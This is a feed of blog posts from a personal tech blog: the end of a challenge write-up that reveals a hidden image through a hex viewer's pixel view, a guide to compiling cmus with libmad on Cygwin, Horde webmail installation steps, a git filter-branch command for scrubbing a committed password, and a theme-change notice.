<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000b9</span><span class="w"> </span><span class="mi">318</span><span class="n">a9501a143</span><span class="w"> </span><span class="n">xor</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">edx + 0x43a10195</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">ecx</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000bf</span><span class="w"> </span><span class="mi">90</span><span class="w"> </span><span class="n">nop</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000c0</span><span class="w"> </span><span class="n">ad</span><span class="w"> </span><span class="n">lodsd</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">esi</span><span class="o">]</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000c1</span><span class="w"> </span><span class="mi">07</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">es</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000c2</span><span class="w"> </span><span class="n">b6ef</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">dh</span><span class="p">,</span><span class="w"> </span><span class="o">-</span><span class="mh">0x11</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000c4</span><span class="w"> </span><span class="n">c462df</span><span class="w"> </span><span class="n">les</span><span class="w"> </span><span class="n">esp</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">edx - 0x21</span><span class="o">]</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000c7</span><span class="w"> </span><span class="n">fe</span><span class="w"> </span><span class="n">invalid</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000c8</span><span class="w"> </span><span class="n">ad</span><span class="w"> </span><span class="n">lodsd</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">esi</span><span class="o">]</span>
<span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x000000c9</span><span class="w"> </span><span class="mi">318</span><span class="n">a9501a143</span><span class="w"> </span><span class="n">xor</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="o">[</span><span class="n">edx + 0x43a10195</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">ecx</span>
</code></pre></div>
<h2>Pixel</h2>
<p>There seems to be some repetition in this code, let's open it with the <code>dff</code> to
see if this is an
<a href="https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_Codebook_.28ECB.29">ECB image</a>.
We launch the <code>dff hex viewer</code> and look at it as a pixel image:</p>
<p><img alt="SSTIC pixel view, resolution 512 (default)" class="image-process-article-image" src="/media/2015.04/derivatives/article-image/sstic_init_res_512.PNG"/></p>
<p>With the default resolution of 512 it does not look very pretty, let's variate
the resolution a bit. With a resolution of 563 we got something that encourage
us to persevere in this way:</p>
<p><img alt="SSTIC pixel view, resolution 563" class="image-process-article-image" src="/media/2015.04/derivatives/article-image/sstic_res_563.PNG"/></p>
<p>At the resolution of 750 we got something pretty:</p>
<p><img alt="SSTIC pixel view, resolution 750" class="image-process-article-image" src="/media/2015.04/derivatives/article-image/sstic_res_750.PNG"/></p>
<h2>Got you !</h2>
<p>We just need to open it, turn it upside down and mirroring it to get the final
result:</p>
<p><img alt="SSTIC final view, reversed" class="image-process-article-image" src="/media/2015.04/derivatives/article-image/sstic_final.PNG"/></p>
<p><strong>Very much thanks to anyfun for the big help and the dff hints.</strong></p>Compiling cmus for cygwin2015-01-21T00:00:00+01:002015-01-21T00:00:00+01:00maggicktag:maggick.fr,2015-01-21:/2015/01/compiling-cmus-for-cygwin.html<p><img alt="cmus" class="align-left" src="/media/2015.01/2015.01.cmus.png" width="342"/>
I work on a Windows machine for my dally job.
On my personal desktop I use Arch Linux and i3 therefore my music player is in
curses and does not need any mouse. In fact I use
<a href="https://cmus.github.io/">cmus</a>. So I tried to replace my old media player
<a href="https://www.clementine-player.org/">clementine</a> with
<a href="https://cmus.github.io/">cmus</a> on Windows in <a href="https://www.cygwin.com/">cygwin</a>.</p>
<p>For that we need to compile <a href="https://cmus.github.io/">cmus</a> from sources.</p>
<p><img alt="cmus" class="align-left" src="/media/2015.01/2015.01.cmus.png" width="342"/>
I work on a Windows machine for my dally job.
On my personal desktop I use Arch Linux and i3 therefore my music player is in
curses and does not need any mouse. In fact I use
<a href="https://cmus.github.io/">cmus</a>. So I tried to replace my old media player
<a href="https://www.clementine-player.org/">clementine</a> with
<a href="https://cmus.github.io/">cmus</a> on Windows in <a href="https://www.cygwin.com/">cygwin</a>.</p>
<p>For that we need to compile <a href="https://cmus.github.io/">cmus</a> from sources.</p>
<p><strong>A <a href="https://en.wikipedia.org/wiki/TL;DR">TL;DR</a> is available at the end of
the article.</strong></p>
<p>It is really easy, you just need to download the <code>tar.gz</code> archive, untar it, and
run :</p>
<div class="highlight"><pre><span></span><code>./configure
make
make install
</code></pre></div>
<p>Then <a href="https://cmus.github.io/">cmus</a> will be directly accessible in your
<a href="https://www.cygwin.com/">cygwin</a> environment. You can access a file explorer
by pressing the <code>5</code> key and then navigate through your files and add a folder
to your libarary with the <code>a</code> key. To know more about how to use
<a href="https://cmus.github.io/">cmus</a> please refer to the official documentation.</p>
<p>Okay then why a whole blog post about 3 classical commands ?
Well you may notice that when adding your folder(s) to your library not all your
files are added to it, in fact <a href="https://www.cygwin.com/">cygwin</a> does not
package any mp3 codec so your <code>flac</code> files will be read by
<a href="https://cmus.github.io/">cmus</a> but not the <code>mp3</code> one (as long as you have
install the flac codec).</p>
<p>In oder to read mp3 files with <a href="https://cmus.github.io/">cmus</a> we need to
install (so to build) a library that read this file format: libmad</p>
<h1>libmad</h1>
<p>First of all we need to download the source package from the official web site :
<a href="https://www.underbit.com/products/mad/">http://www.underbit.com/products/mad/</a>
now we extract the files and make the classical commands:</p>
<div class="highlight"><pre><span></span><code>./configure
make
make install
</code></pre></div>
<p>You may encounter the "guess build" error:</p>
<h2>guess error</h2>
<p>This append during the make command</p>
<div class="highlight"><pre><span></span><code><span class="n">configure</span><span class="o">:</span><span class="w"> </span><span class="n">error</span><span class="o">:</span><span class="w"> </span><span class="n">cannot</span><span class="w"> </span><span class="n">guess</span><span class="w"> </span><span class="n">build</span><span class="w"> </span><span class="n">type</span><span class="o">;</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">must</span><span class="w"> </span><span class="n">specify</span><span class="w"> </span><span class="n">one</span>
</code></pre></div>
<p>You may need the <code>automake</code> package and moreover you may need to replace the two
old files config.guess and config.sub from libmad with the new ones downloadable
at : <a href="ftp://ftp.gnu.org/pub/gnu/config/README">ftp://ftp.gnu.org/pub/gnu/config/README</a></p>
<p><strong>An other classical error is the <code>-fforce-memi</code> one:</strong></p>
<h2><code>-fforce-mem</code> gcc error</h2>
<p>This error is characterize by the following trace:</p>
<div class="highlight"><pre><span></span><code><span class="nl">gcc</span><span class="p">:</span><span class="w"> </span><span class="nl">error</span><span class="p">:</span><span class="w"> </span><span class="n">unrecognized</span><span class="w"> </span><span class="n">command</span><span class="w"> </span><span class="n">line</span><span class="w"> </span><span class="k">option</span><span class="w"> </span><span class="s1">'-fforce-mem'</span>
<span class="nl">Makefile</span><span class="p">:</span><span class="mi">383</span><span class="err">:</span><span class="w"> </span><span class="n">recipe</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">target</span><span class="w"> </span><span class="s1">'version.lo'</span><span class="w"> </span><span class="n">failed</span>
<span class="n">make</span><span class="o">[</span><span class="n">2</span><span class="o">]</span><span class="err">:</span><span class="w"> </span><span class="o">***</span><span class="w"> </span><span class="o">[</span><span class="n">version.lo</span><span class="o">]</span><span class="w"> </span><span class="n">Error</span><span class="w"> </span><span class="mi">1</span>
<span class="n">make</span><span class="o">[</span><span class="n">2</span><span class="o">]</span><span class="err">:</span><span class="w"> </span><span class="n">Leaving</span><span class="w"> </span><span class="n">directory</span><span class="w"> </span><span class="s1">'/cygdrive/c/Users/user/Downloads/libmad-0.15.1b'</span>
<span class="nl">Makefile</span><span class="p">:</span><span class="mi">424</span><span class="err">:</span><span class="w"> </span><span class="n">recipe</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">target</span><span class="w"> </span><span class="s1">'all-recursive'</span><span class="w"> </span><span class="n">failed</span>
<span class="n">make</span><span class="o">[</span><span class="n">1</span><span class="o">]</span><span class="err">:</span><span class="w"> </span><span class="o">***</span><span class="w"> </span><span class="o">[</span><span class="n">all-recursive</span><span class="o">]</span><span class="w"> </span><span class="n">Error</span><span class="w"> </span><span class="mi">1</span>
<span class="n">make</span><span class="o">[</span><span class="n">1</span><span class="o">]</span><span class="err">:</span><span class="w"> </span><span class="n">Leaving</span><span class="w"> </span><span class="n">directory</span><span class="w"> </span><span class="s1">'/cygdrive/c/Users/user/Downloads/libmad-0.15.1b'</span>
<span class="nl">Makefile</span><span class="p">:</span><span class="mi">249</span><span class="err">:</span><span class="w"> </span><span class="n">recipe</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">target</span><span class="w"> </span><span class="s1">'all'</span><span class="w"> </span><span class="n">failed</span>
<span class="nl">make</span><span class="p">:</span><span class="w"> </span><span class="o">***</span><span class="w"> </span><span class="o">[</span><span class="n">all</span><span class="o">]</span><span class="w"> </span><span class="n">Error</span><span class="w"> </span><span class="mi">2</span>
</code></pre></div>
<p>From GCC 4.3 release notes:</p>
<p><em>The -fforce-mem option has been removed because it has had no effect in the
last few GCC releases.</em></p>
<p>So we need to remove this option from our configure script, <a href="https://www.linuxfromscratch.org/blfs/view/svn/multimedia/libmad.html">some people wrote a
patch for it</a>
but it is just a <code>sed</code> command</p>
<div class="highlight"><pre><span></span><code>sed -i '/-fforce-mem/d' configure
</code></pre></div>
<p>We need to redo the 3 basics commands:</p>
<div class="highlight"><pre><span></span><code>./configure
make
make install
</code></pre></div>
<p><strong>At this point you should not have any error, but a classical one is the
missing library error:</strong></p>
<h2>missing library error</h2>
<p>The error is indicating the precise missing library (here <code>libtool</code>):</p>
<div class="highlight"><pre><span></span><code><span class="n">Makefile</span><span class="o">.</span><span class="n">am</span><span class="p">:</span><span class="mi">27</span><span class="p">:</span><span class="w"> </span><span class="n">Libtool</span><span class="w"> </span><span class="n">library</span><span class="w"> </span><span class="n">used</span><span class="w"> </span><span class="n">but</span><span class="w"> </span><span class="err">`</span><span class="n">LIBTOOL</span><span class="s1">' is undefined</span>
<span class="n">Makefile</span><span class="o">.</span><span class="n">am</span><span class="p">:</span><span class="mi">27</span><span class="p">:</span>
<span class="n">Makefile</span><span class="o">.</span><span class="n">am</span><span class="p">:</span><span class="mi">27</span><span class="p">:</span><span class="w"> </span><span class="n">The</span><span class="w"> </span><span class="n">usual</span><span class="w"> </span><span class="n">way</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">define</span><span class="w"> </span><span class="err">`</span><span class="n">LIBTOOL</span><span class="s1">' is to add `AC_PROG_LIBTOOL'</span>
<span class="n">Makefile</span><span class="o">.</span><span class="n">am</span><span class="p">:</span><span class="mi">27</span><span class="p">:</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="err">`</span><span class="n">configure</span><span class="o">.</span><span class="n">ac</span><span class="s1">' and run `aclocal'</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="err">`</span><span class="n">autoconf</span><span class="s1">' again.</span>
<span class="n">Makefile</span><span class="p">:</span><span class="mi">256</span><span class="p">:</span><span class="w"> </span><span class="n">recipe</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">target</span><span class="w"> </span><span class="s1">'Makefile.in'</span><span class="w"> </span><span class="n">failed</span>
<span class="n">make</span><span class="p">:</span><span class="w"> </span><span class="o">***</span><span class="w"> </span><span class="p">[</span><span class="n">Makefile</span><span class="o">.</span><span class="ow">in</span><span class="p">]</span><span class="w"> </span><span class="n">Error</span><span class="w"> </span><span class="mi">1</span>
</code></pre></div>
<p>And we just need to install the missing library using <a href="https://www.cygwin.com/">cygwin</a> package manager.</p>
<p><strong>Now we have libmad install in <code>/usr/local/lib/</code></strong></p>
<h1>cmus</h1>
<p>But our installation is not completed we need to recompile
<a href="https://cmus.github.io/">cmus</a> with the support
of this new library and if you just launch the 3 basic commands it will not
work. In fact, gcc does not search libraries in <code>/usr/local</code> by default. We need
to add a flag at the configure step:</p>
<div class="highlight"><pre><span></span><code>.<span class="o">/</span><span class="nv">configure</span><span class="w"> </span><span class="nv">CPPFLAGS</span><span class="o">=-</span><span class="nv">I</span><span class="o">/</span><span class="nv">usr</span><span class="o">/</span><span class="nv">local</span><span class="o">/</span><span class="k">include</span><span class="w"> </span><span class="nv">LDFLAGS</span><span class="o">=-</span><span class="nv">L</span><span class="o">/</span><span class="nv">usr</span><span class="o">/</span><span class="nv">local</span><span class="o">/</span><span class="nv">lib</span>
<span class="nv">make</span>
<span class="nv">make</span><span class="w"> </span><span class="nv">install</span>
</code></pre></div>
<p>And now you can launch <a href="https://cmus.github.io/">cmus</a> and re-add your mp3
files and <strong>it works!</strong></p>
<p>You can still have some erros, mostly with the newest cygwin versions.</p>
<h2>recipe for target 'ape.o' failed</h2>
<p><em>This error was first mention by buzzbo on
<a href="https://github.com/cmus/cmus/issues/343">github</a> and resolved by mahkoh.
Thanks to them.</em></p>
<p>After the <code>./configure</code>, the <code>make</code> may output something like:</p>
<div class="highlight"><pre><span></span><code> CC ape.o
In file included from ape.c:23:0:
xmalloc.h: In function 'xstrndup':
xmalloc.h:79:2: error: implicit declaration of function 'strndup' [-Werror=implicit-function-declaration]
char *s = strndup(str, n);
^
xmalloc.h:79:12: warning: incompatible implicit declaration of built-in function 'strndup'
char *s = strndup(str, n);
^
cc1: some warnings being treated as errors
scripts/lib.mk:66: recipe for target 'ape.o' failed
make: *** [ape.o] Error 1
</code></pre></div>
<p>This error is due to an implicit function declaration that is incorrect. Add
this after all the includes of the offending files (<code>xmalloc.h</code>):</p>
<div class="highlight"><pre><span></span><code><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="nf">strndup</span><span class="p">(</span><span class="k">const</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">s</span><span class="p">,</span><span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">n</span><span class="p">);</span>
</code></pre></div>
<h3>Workflow - TL;DR</h3>
<p>Here is the <a href="https://en.wikipedia.org/wiki/TL;DR">TL;DR</a>.</p>
<ul>
<li>Cygwin dependencies</li>
<li>flac-devel</li>
<li>
<p>ncurses</p>
</li>
<li>
<p>Install <a href="http://www.underbit.com/products/mad/">libmad</a></p>
</li>
<li>change the <code>config.gess</code> and <code>config.sub</code> files with the one from <a href="http://ftp.gnu.org/gnu/config/README">this readme</a></li>
<li>patch the configuration to not use the <code>-fforce-mem</code> option with sed: <code>sed -i '/-fforce-mem/d' configure</code></li>
<li>
<p>run the 3 classical commands:</p>
<ul>
<li><code>./configure</code></li>
<li><code>make</code></li>
<li><code>make install</code></li>
</ul>
</li>
<li>
<p>Install <a href="https://cmus.github.io/">cmus</a> from source and add the <code>gcc</code> flags to load libraries in /usr/local:</p>
<ul>
<li><code>./configure CPPFLAGS=-I/usr/local/include LDFLAGS=-L/usr/local/lib</code></li>
<li><code>make</code></li>
<li><code>make install</code></li>
</ul>
</li>
</ul>
<p><em>If you run a classical linux distribution to install cmus use <code>aptitude install
cmus</code> or <code>pacman -S cmus</code>. It is so much easier!</em></p>
<h1>Disqus comments</h1>
<p><em>This is a copy of the Disqus comments for this page</em></p>
<p><strong>snapdeus - 2019</strong></p>
<blockquote>
<p>Thanks for this guide! I've been referring to it frequently.</p>
<p>I'm running into an issue trying to get .m4a files to work in cmus.</p>
<p>Have you had success with this?</p>
<p>So far, I've tried including libmp4v2.dll.a in /usr/local/lib, like you did with the libmad.a library, but that did not work.</p>
<p>I'm not aware of a good method for adding libraries to build dependencies - but that is my own fault.</p>
</blockquote>
<p><strong>maggick - 2019</strong></p>
<blockquote>
<p>Hi snapdeus, I didn't use cmus on Windows for a while. Probably the right library to decode .m4a is missing.</p>
</blockquote>
<p><strong>Abhishek upadhyay - 2017</strong></p>
<blockquote>
<p>Thank you very much for this awesome tutorial. I did exactly the same in babun and it worked! LOved it Thank you very much</p>
</blockquote>
<p><strong>James - 2017</strong></p>
<blockquote>
<p>Another post just to say thanks so much for this tutorial.</p>
</blockquote>
<p><strong>AerialB - 2015</strong></p>
<blockquote>
<p>Thank you so much for this. I am forced by circumstance to use Windows atm, and although I like foobar, cmus is just the best.</p>
</blockquote>
<p><strong>Lee - 2015</strong></p>
<blockquote>
<p>Thank you for minimizing a serious headache! Have you managed to get flac compatability figured out? I've not had much luck.</p>
</blockquote>
<p><strong>maggick - 2015</strong></p>
<blockquote>
<p>Thank you for your interest, flac compatibility is given with the flac codec package (the first one in the following capture) directly in the cygwin installer / package manager.</p>
</blockquote>
<p><img alt="cygwin package manager" src="/media/2015.01/cmus_disqus.jpg"/></p>Switching to Horde2014-12-27T00:00:00+01:002014-12-27T00:00:00+01:00maggicktag:maggick.fr,2014-12-27:/2014/12/switching-to-horde.html<p>I host my own services with a web access, for my mail and calendar I used
<a href="https://roundcube.org">Roundcube</a> a wonderful webmail and
<a href="https://agendav.org">agendav</a> for my calendar. Nevertheless I am used to have
everything in one place (<em>thank you Google for the bad habit</em>) and agendav was
no more working on my …</p><p>I host my own services with a web access, for my mail and calendar I used
<a href="https://roundcube.org">Roundcube</a> a wonderful webmail and
<a href="https://agendav.org">agendav</a> for my calendar. Nevertheless I am used to have
everything in one place (<em>thank you Google for the bad habit</em>) and agendav was
no more working on my server. Therefore I decided to switch to Horde, a all in
one webmail which manage e-mails, calendars, contacts, notes and todo lists.</p>
<p>Horde is written in PHP and is accessible using Pear (PHP Extension and
Application Repository).</p>
<h1>Installing Horde</h1>
<p>Let us see how to install Horde.</p>
<h2>Necessary packages</h2>
<p>First of all some dependencies should be meet. Considering you are on Debian
and using <code>apt-get</code> you may run the following command:</p>
<div class="highlight"><pre><span></span><code>apt-get install php5-sasl php5-intl libssh2-php php5-curl php-http php5-xmlrpc php5-geoip php5-ldap php5-memcache php5-memcached php5-tidy
</code></pre></div>
<h2>Pear install</h2>
<p>We want to use Pear to get the last version of Horde. So we add the channel, the
Horde role, and we install Horde.
You will be prompt with the question <code>Filesystem installation for base Horde
application: /var/www/horde</code> you can change this location the only
constrain to configure your web server (Apache, Nginx, or whatever) in order to
make this folder accessible.</p>
<div class="highlight"><pre><span></span><code>pear channel-discover pear.horde.org
pear install horde/horde_role
pear run-scripts horde/horde_role
pear install -a -B horde/webmail
</code></pre></div>
<h2>Database creation</h2>
<p>Horde use a database to store your calendars, contact, task lists and
notes. Nevertheless the script does not create this database. Therefore we must
do it manually for instance with the following commands and a MySQL database:</p>
<div class="highlight"><pre><span></span><code><span class="n">mysql</span><span class="w"> </span><span class="o">-</span><span class="n">u</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="o">-</span><span class="n">p</span>
<span class="k">CREATE</span><span class="w"> </span><span class="k">DATABASE</span><span class="w"> </span><span class="n">horde</span><span class="p">;</span>
<span class="o">*</span><span class="k">GRANT</span><span class="w"> </span><span class="ow">ALL</span><span class="w"> </span><span class="k">ON</span><span class="w"> </span><span class="n">horde</span><span class="p">.</span><span class="o">*</span><span class="w"> </span><span class="k">TO</span><span class="w"> </span><span class="n">horde</span><span class="nv">@localhost</span><span class="w"> </span><span class="n">IDENTIFIED</span><span class="w"> </span><span class="k">BY</span><span class="w"> </span><span class="s1">'PASSWORD'</span><span class="p">;</span>
<span class="n">FLUSH</span><span class="w"> </span><span class="k">PRIVILEGES</span><span class="p">;</span>
<span class="k">exit</span><span class="p">;</span>
</code></pre></div>
<p>You'll be asked the following questions:</p>
<blockquote>
<p>What database backend should we use? <em>mysql</em></p>
<p>Request persistent connections? <em>no</em></p>
<p>Username to connect to the database as: <em>The username you set in the previous step</em></p>
<p>Password to connect with: <em>The password you set in the previous step</em></p>
<p>How should we connect to the database? <em>unix</em></p>
<p>Location of UNIX socket: <em>Just press [enter]</em></p>
<p>Database name to use: <em>The database name you set in the previous step</em></p>
<p>Internally used charset: <em>utf-8</em></p>
<p>Use SSL to connect to the server: <em>no</em></p>
<p>Certification Authority to use for SSL connection: <em>Just press [enter]</em></p>
<p>Split reads to a different server? <em>false</em></p>
<p>Filesystem installation for base Horde application: <em>/var/www/horde</em></p>
<p>Specify an existing mail user who you want to give administrator permissions (optional): <em>user@domain.com</em> This user will have access to the administration interface within horde.</p>
</blockquote>
<p>This is all an you should get access to the horde interface.</p>
<h1>Activating the exchange server</h1>
<p>The administrator user will have a lot of options one of them is the activation
of the exchange server.</p>
<p>That is all for this article about Horde, the install process can be found on
<a href="/pages/horde.html">the notes part of my website</a>.</p>Git, remove unwanted data from history2014-11-23T00:00:00+01:002014-11-23T00:00:00+01:00maggicktag:maggick.fr,2014-11-23:/2014/11/git-remove-unwanted-data-from-history.html<p>Recently I put unwanted data (a password) in one of my git commit.
This commit was not push to an public server (like github or bitbucket)
therefore there was no real security breach other than my git history.</p>
<p>The problem was to remove the data by rewriting the git history …</p><p>Recently I put unwanted data (a password) in one of my git commit.
This commit was not push to an public server (like github or bitbucket)
therefore there was no real security breach other than my git history.</p>
<p>The problem was to remove the data by rewriting the git history, I search on the
internet and found and interesting command using git filter-branch
To rewrite the git history use the following command:</p>
<div class="highlight"><pre><span></span><code>git filter-branch --tree-filter 'git ls-files -z "*.py" |xargs -0 perl -p -i -e "s#(PASSWORD1|PASSWORD2)#youPassowrd#g"' -- --all
</code></pre></div>
<p>This command will just change the history of python files (.py) and replace
"PASSWORD1" and "PASSWORD2" whit "youPassword".</p>
<p><strong>WARNING</strong> rewriting git history is dangerous, make a backup before doing anything.</p>
<p>You can found a short version in <a href="https://maggick.fr/pages/git-tricks.html">my notes</a>.</p>Blog changes2014-10-27T00:00:00+01:002014-10-27T00:00:00+01:00maggicktag:maggick.fr,2014-10-27:/2014/10/blog-changes.html<p>Short news from by blog:</p>
<p>Yesterday I publish my blog with a brand new theme.
The main reason is to not have the classical bootstrap theme like everybody
else. Nevertheless I am no graphic artist that is why I use a theme designed by
someone else.</p>
<p>The theme is based …</p><p>Short news from by blog:</p>
<p>Yesterday I publish my blog with a brand new theme.
The main reason is to not have the classical bootstrap theme like everybody
else. Nevertheless I am no graphic artist that is why I use a theme designed by
someone else.</p>
<p>The theme is based on Maggner theme, created by Templateify and adapted to
pelican by <a href="https://github.com/kplaube/maggner-pelican">Klaus Laube</a>.</p>
<p>For the moment there is some minors problems :</p>
<ul>
<li>The twitter and google+ buttons at the bottoms of articles are in Espagnoles
(or something similar)</li>
<li>I want to add some links in the menu to have links to my <a href="https://www.maggick.fr">home
page</a> and to my <a href="/pages/notes.html">notes</a>
but this is not working for the moment</li>
<li>The pictures in the article does not seems to work</li>
</ul>
<p>I will try to fix this problems in the next few weeks, in the same time I will
add images to each article already published and mostly refocus on the articles
in order to write new ones.</p>
<p><em>Edit:</em></p>
<ul>
<li>29/10/14: I changed the social button language for English nevertheless the
Facebook button is not present</li>
</ul>